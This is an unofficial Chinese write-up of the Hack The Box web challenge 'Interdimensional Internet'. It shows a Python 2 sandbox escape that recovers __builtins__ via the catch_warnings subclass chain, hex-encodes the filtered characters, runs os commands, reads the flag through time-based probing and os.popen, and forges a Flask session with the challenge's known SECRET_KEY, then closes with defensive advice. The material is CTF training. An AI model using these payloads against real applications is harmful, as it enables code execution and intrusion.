hack the box web challenge——Interdimensional Internet题解(非官方)
字数 1589 2025-08-15 21:31:46
Python沙盒逃逸与字符绕过技术详解
1. 题目背景分析
这是一个来自Hack The Box的Web挑战题"Interdimensional Internet",涉及Python沙盒逃逸和字符绕过技术。题目环境基于:
- Python 2.7.17
- Werkzeug/0.16.0
- 使用了Flask的session机制
2. 初始发现
2.1 页面特征
- 赛博朋克背景图片和Rick & Morty的GIF
- 每次刷新页面会显示一串变化的数字
- 每次请求都会返回新的Cookie
2.2 Session分析
Session值看起来像JWT,解码后发现包含:
{
"ingredient": "随机10位小写字母串",
"measurements": "随机数学算式"
}
3. 源码审计
通过访问/debug获取服务端源码,主要逻辑如下:
- 从session获取
ingredient和measurements,拼接为recipe变量 - 检查session中是否存在这两个字段,且
recipe长度≥20 - 如果条件不满足,则生成随机
ingredient和measurements,通过exec执行 - 如果条件满足,检查
recipe是否包含[,(,_,.等字符 - 如果不含禁用字符,则执行
exec recipe
关键函数calc定义:
def calc(recipe):
global garage
builtins, garage = {'__builtins__': None}, {}
try:
exec(recipe, builtins, garage)
except Exception as e:
print e
4. 漏洞利用思路
4.1 目标
构造一个不包含禁用字符([, (, _, .)的payload,通过exec执行任意代码获取flag。
4.2 限制条件
__builtins__被设置为None,无法直接使用内置函数- 禁用字符:
[,(,_,. recipe长度必须≥20
5. 沙盒逃逸技术
5.1 恢复__builtins__
通过Python对象继承链恢复__builtins__:
__builtins__ = [x for x in (1).__class__.__base__.__subclasses__()
if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
原理:
(1).__class__获取整数类型__base__获取object基类__subclasses__()获取所有子类- 找到
catch_warnings类并实例化 - 通过
_module访问模块的__builtins__
5.2 绕过字符限制
使用十六进制编码绕过字符限制:
[→\x5b(→\x28_→\x5f.→\x2e
示例:
b = "\\x5bi for i in \\x28\\x29\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbases\\x5f\\x5f\\x5b0\\x5d\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28\\x29 if i\\x2e\\x5f\\x5fname\\x5f\\x5f=='catch\\x5fwarnings'\\x5d\\x5b0\\x5d\\x28\\x29\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f"
exec b
6. 完整利用步骤
6.1 构造payload
- 恢复
__builtins__ - 导入
os模块执行命令
最终payload:
b = "builtins = \\x5bi for i in \\x28\\x29\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbases\\x5f\\x5f\\x5b0\\x5d\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28\\x29 if i\\x2e\\x5f\\x5fname\\x5f\\x5f=='catch\\x5fwarnings'\\x5d\\x5b0\\x5d\\x28\\x29\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f"
exec b
exec "builtins\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os'\\x29\\x2esystem\\x28'whoami'\\x29"
6.2 执行系统命令
发现直接使用os.system在远程无效,改用time.sleep进行基于时间的盲注:
- 探测文件列表:
if os.listdir('.').__len__()==3: time.sleep(3)
-
发现flag文件名为
totally_not_a_loooooooong_flaaaaag -
读取flag内容:
os.popen('ls|grep to|xargs cat').read()
6.3 通过session传递payload
由于知道Flask的SECRET_KEY(eA2b8A2eA1EADa7b2eCbea7e3dAd1e),可以本地生成包含payload的session。
7. 关键知识点总结
- Python沙盒逃逸:当
__builtins__被限制时,可以通过对象继承链恢复 - 字符绕过:使用十六进制编码表示禁用字符
- Flask session伪造:已知SECRET_KEY时可生成合法session
- 盲注技术:当无法直接获取输出时,使用时间延迟作为判断依据
8. 防御建议
- 避免使用
exec执行用户输入 - 使用更新的Python版本(此题利用基于Python 2.7的特性)
- 保护SECRET_KEY不被泄露
- 实施更严格的输入过滤
- 考虑使用更安全的沙盒环境如PyPy沙盒
9. 扩展思考
- Python 3中此利用方式是否仍然有效?
- 除了
catch_warnings,还可以使用哪些子类进行类似利用? - 如何防御这种基于对象继承链的沙盒逃逸?